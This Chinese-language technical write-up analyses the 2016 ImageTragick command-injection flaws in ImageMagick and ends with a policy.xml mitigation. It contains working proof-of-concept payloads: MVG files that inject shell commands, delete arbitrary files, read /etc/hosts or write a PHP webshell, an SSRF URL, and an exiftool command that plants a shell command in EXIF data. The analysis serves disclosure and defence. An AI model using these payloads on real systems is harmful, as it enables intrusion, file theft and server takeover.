ImageMagick是一款使用量很廣的圖片處理程序,很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。但近來有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。
國外的安全人員為此新建了一個網站: https://imagetragick.com/ ,不得不說,有些外國人蠻會玩的。
相對于之前的數個擁有『主頁』的漏洞,這個洞確實不一般,確實是一個可以被利用的好洞,烏云主站上也爆出了數個被該漏洞影響的大廠商。我們先來分析一下它出現的原因。
與這個漏洞相關的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最嚴重的就是CVE-2016-3714,利用這個漏洞可以造成遠程命令執行的危害。
ImageMagick有一個功能叫做delegate(委托),作用是調用外部的lib來處理文件。而調用外部lib的過程是使用系統的system命令來執行的( https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 )
我們在ImageMagick的默認配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml
#!xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE delegatemap [
<!ELEMENT delegatemap (delegate)+>
<!ELEMENT delegate (#PCDATA)>
<!ATTLIST delegate decode CDATA #IMPLIED>
<!ATTLIST delegate encode CDATA #IMPLIED>
<!ATTLIST delegate mode CDATA #IMPLIED>
<!ATTLIST delegate spawn CDATA #IMPLIED>
<!ATTLIST delegate stealth CDATA #IMPLIED>
<!ATTLIST delegate thread-support CDATA #IMPLIED>
<!ATTLIST delegate command CDATA #REQUIRED>
]>
<!--
Delegate command file.
Commands which specify
decode="in_format" encode="out_format"
specify the rules for converting from in_format to out_format These
rules may be used to translate directly between formats.
Commands which specify only
decode="in_format"
specify the rules for converting from in_format to some format that
ImageMagick will automatically recognize. These rules are used to
decode formats.
Commands which specify only
encode="out_format"
specify the rules for an "encoder" which may accept any input format.
For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are
as follows:
%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution
Set option delegate:bimodal=true to process bimodal delegates otherwise they
are ignored.
If stealth="True" the delegate is not listed in user requested
"-list delegate" listings. These are typically special internal delegates.
If spawn="True" ImageMagick will not way for the delegate to finish,
nor will it read any output image. It will only wait for either the input
file to be removed (See "ephemeral:" coder) indicating that the input file
has been read, or a maximum time limit of 2 seconds.
-->
<delegatemap>
<delegate decode="autotrace" stealth="True" command=""convert" "%i" "pnm:%u"\n"autotrace" -input-format pnm -output-format svg -output-file "%o" "%u""/>
<delegate decode="blender" command=""blender" -b "%i" -F PNG -o "%o""\n"convert" -concatenate "%o*.png" "%o""/>
<delegate decode="browse" stealth="True" spawn="True" command=""xdg-open" http://www.imagemagick.org/; rm "%i""/>
<delegate decode="cdr" command=""uniconvertor" "%i" "%o.svg"; mv "%o.svg" "%o""/>
<delegate decode="cgm" thread-support="False" command=""ralcgm" -d ps -oC < "%i" > "%o" 2> "%Z""/>
<delegate decode="dvi" command=""dvips" -q -o "%o" "%i""/>
<delegate decode="dng:decode" command=""ufraw-batch" --silent --create-id=also --out-type=png --out-depth=16 "--output=%u.png" "%i""/>
<delegate decode="dot" command='"dot" -Tsvg "%i" -o "%o"' />
<delegate decode="edit" stealth="True" command=""/etc/alternatives/x-terminal-emulator" -title "Edit Image Comment" -e vi "%o""/>
<delegate decode="eps" encode="pdf" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 "-sDEVICE=pdfwrite" "-sOutputFile=%o" "-f%i""/>
<delegate decode="eps" encode="ps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=nodevice" "-sOutputFile=%o" "-f%i""/>
<delegate decode="fig" command=""fig2dev" -L ps "%i" "%o""/>
<delegate decode="plt" command=""echo" "set size 1.25,0.62; set terminal postscript portrait color solid; set output \'%o\'; load \'%i\'" > "%u";"gnuplot" "%u""/>
<delegate decode="hpg" command=""hp2xx" -q -m eps -f `basename "%o"` "%i"; mv -f `basename "%o"` "%o""/>
<delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then hp2xx -q -m eps -f `basename "%o"` "%i"; mv -f `basename "%o"` "%o"; else echo "You need to install hp2xx to use HPGL files with ImageMagick."; exit 1; fi"/>
<delegate decode="htm" command=""html2ps" -U -o "%o" "%i""/>
<delegate decode="html" command=""html2ps" -U -o "%o" "%i""/>
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
<delegate decode="ilbm" command=""ilbmtoppm" "%i" > "%o""/>
<delegate decode="man" command=""groff" -man -Tps "%i" > "%o""/>
<delegate decode="mpeg:decode" command=""ffmpeg" -v -1 -i "%i" -vframes %S -vcodec pam -an -f rawvideo -y "%u.pam" 2> "%Z""/>
<delegate encode="mpeg:encode" stealth="True" command=""ffmpeg" -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i "%M%%d.jpg" "%u.%m" 2> "%Z""/>
<delegate decode="sid" command=""mrsidgeodecode" -if sid -i "%i" -of tif -o "%o" > "%u""/>
<delegate decode="pcl:color" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="pcl:cmyk" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pamcmyk32" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="pcl:mono" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="pdf" encode="eps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=epswrite" "-sOutputFile=%o" "-f%i""/>
<delegate decode="pdf" encode="ps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=nodevice" "-sOutputFile=%o" "-f%i""/>
<delegate decode="tiff" encode="launch" mode="encode" command=""gimp" "%i""/>
<delegate decode="pnm" encode="ilbm" mode="encode" command=""ppmtoilbm" -24if "%i" > "%o""/>
<delegate decode="pov" command=""povray" "+i%i" -D0 "+o%o" +fn%q +w%w +h%h +a -q9 "-kfi%s" "-kff%n";"convert" -concatenate "%o*.png" "%o""/>
<delegate decode="ps" encode="eps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=epswrite" "-sOutputFile=%o" "-f%i""/>
<delegate decode="ps" encode="pdf" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pdfwrite" "-sOutputFile=%o" "-f%i""/>
<delegate decode="ps" encode="print" mode="encode" command="lpr "%i""/>
<delegate decode="ps:alpha" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<delegate decode="ps:cmyk" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pam" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<delegate decode="ps:color" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pnmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<delegate decode="ps:mono" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<delegate decode="rgba" encode="rle" mode="encode" command=""rawtorle" -o "%o" -v "%i""/>
<delegate decode="scan" command=""scanimage" -d "%i" > "%o""/>
<delegate decode="scanx" command=""scanimage" > "%o""/>
<delegate decode="miff" encode="show" spawn="True" command=""/usr/bin/display" -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
<delegate decode="shtml" command=""html2ps" -U -o "%o" "%i""/>
<delegate decode="svg" command=""rsvg-convert" -o "%o" "%i""/>
<delegate decode="txt" encode="ps" mode="bi" command=""enscript" -o "%o" "%i""/>
<delegate decode="miff" encode="win" stealth="True" spawn="True" command=""/usr/bin/display" -immutable -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
<delegate decode="wmf" command=""wmf2eps" -o "%o" "%i""/>
<delegate decode="xps:color" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="xps:cmyk" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=bmpsep8" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
<delegate decode="xps:mono" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
</delegatemap>
我們可以看到,這里它定義了很多占位符,比如%i是輸入的文件名,%l是圖片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。這個漏洞也因此而來,被拼接完畢的命令行傳入了系統的system函數,而我們只需使用反引號(`)或閉合雙引號,來執行任意命令。
漏洞報告中給出的POC是利用了如下的這個委托:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最后一個參數內。ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內容,而這其中就可以包含https處理過程。
所以我們可以構造一個.mvg格式的圖片(但文件名可以不為.mvg,比如下圖中包含payload的文件的文件名為vul.gif,而ImageMagick會根據其內容識別為mvg圖片),并在https://后面閉合雙引號,寫入自己要執行的命令:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
這樣,ImageMagick在正常執行圖片轉換、處理的時候就會觸發漏洞:
其他幾個CVE也比較有趣,比如CVE-2016-3718,他是利用mvg格式中可以包含url的特點,進行SSRF攻擊,POC如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
CVE-2016-3715是利用ImageMagick支持的ephemeral協議,來刪除任意文件:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
CVE-2016-3716是利用ImageMagick支持的msl協議,來進行文件的讀取和寫入。利用這個漏洞,可以將任意文件寫為任意文件,比如將圖片寫為一個.php后綴的webshell。
特別說明的是,msl協議是讀取一個msl格式的xml文件,并根據其內容執行一些操作:
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
CVE-2016-3717可以造成本地文件讀取漏洞:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context
除了報告中給出的POC以外,各個安全研究人員也集思廣益,發現這個洞的更多利用/影響方式。
首先,PHP擴展『ImageMagick』也存在這個問題,而且只需要調用了Imagick類的構造方法,即可觸發這個漏洞:
<?php
new Imagick('vul.gif');
因為沒有返回值,我利用cloudeye捕捉到apache日志,從日志中讀取命令執行的結果:
另外,經過分析,研究人員發現除了.mvg格式的圖片以外,普通png格式的圖片也能觸發命令執行漏洞。我們看到前面委托中對%l,也就是exif label的處理:
<delegate decode="miff" encode="show" spawn="True" command=""/usr/bin/display" -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
它將%l拼接進入了/usr/bin/display命令中,所以我只需將正常的png圖片,帶上一個『惡意』的exif信息。在調用ImageMagick將其處理成.show文件的時候,即可觸發命令注入漏洞:
exiftool -label="\"|/usr/bin/id; \"" test.png
convert test.png o.show
但這個方法雞肋之處在于,因為delegate.xml中配置的encode="show"(或"win"),所以只有輸出為.show或.win格式的情況下才會調用這個委托,而普通的文件處理是不會觸發這個命令的。
ImageMagick是一個使用非常廣的組件,大量廠商都在處理圖片的時候調用這個程序進行處理,而且很多開源應用也在核心代碼中包含了ImageMagick選項。
Wordpress是著名的個人博客/CMS廠商,其核心源碼中使用了PHP擴展ImageMagick。受到這個漏洞的影響,在攻擊者擁有一定權限的情況下,可以在Wordpress中觸發任意命令執行漏洞: WooYun: Wordpress某核心功能命令執行漏洞(一定權限)
同樣的,Discuz、Drupal等常用CMS中也調用了ImageMagick擴展或ImageMagick庫,CVE-2016-3714也可能會影響到他們。
但根據我對Discuz的分析,其調用ImageMagick處理圖片之前,會先使用php的getimagesize進行圖片格式、大小的驗證,所以本文中所涉及的POC無法在Disucz中直接使用,但不排除有其他方法繞過discuz對該問題的限制。
除了開源軟件中的漏洞以外,國內外各大廠商或多或少都收到了該問題的影響,影響最大的應該屬人人,人人某處上傳位置調用了ImageMagick進行圖片的處理,結果造成了命令執行,導致內網被白帽子攻破: WooYun: 人人網某漏洞導致直接Getshell影響主干網絡直入內網
另外,百度、優酷、騰訊、七牛等諸多廠商都收到該漏洞影響: WooYun: QQ郵箱命某處令執行 、 WooYun: 騰訊微云遠程命令執行 、 WooYun: 七牛云存儲遠程命令執行漏洞影響圖片處理服務器 、 WooYun: 百度某站遠程命令執行漏洞 、 WooYun: 一張圖片引發的血案百度某處命令執行 、 WooYun: 優酷主站存在遠程命令執行漏洞
還有個比較有意思的地方,因為新浪sae的php包含ImageMagick擴展,所以烏云上有白帽子利用這個漏洞,成功繞過了sae的沙盒 WooYun: SAE 沙盒繞過(ImageMagick CVE20163714 應用實例)
關于這個漏洞影響ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安裝的ImageMagick。而官方在6.9.3-9版本中對漏洞進行了不完全的修復。所以,我們不能僅通過更新ImageMagick的版本來杜絕這個漏洞。
現在,我們可以通過如下兩個方法來暫時規避漏洞:
——
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
參考文獻:
https://imagetragick.com/
http://www.openwall.com/lists/oss-security/2016/05/03/18
http://weibo.com/p/1001603971443670055277
并感謝 @redrain有節操 @Ricter @BigBan 的幫助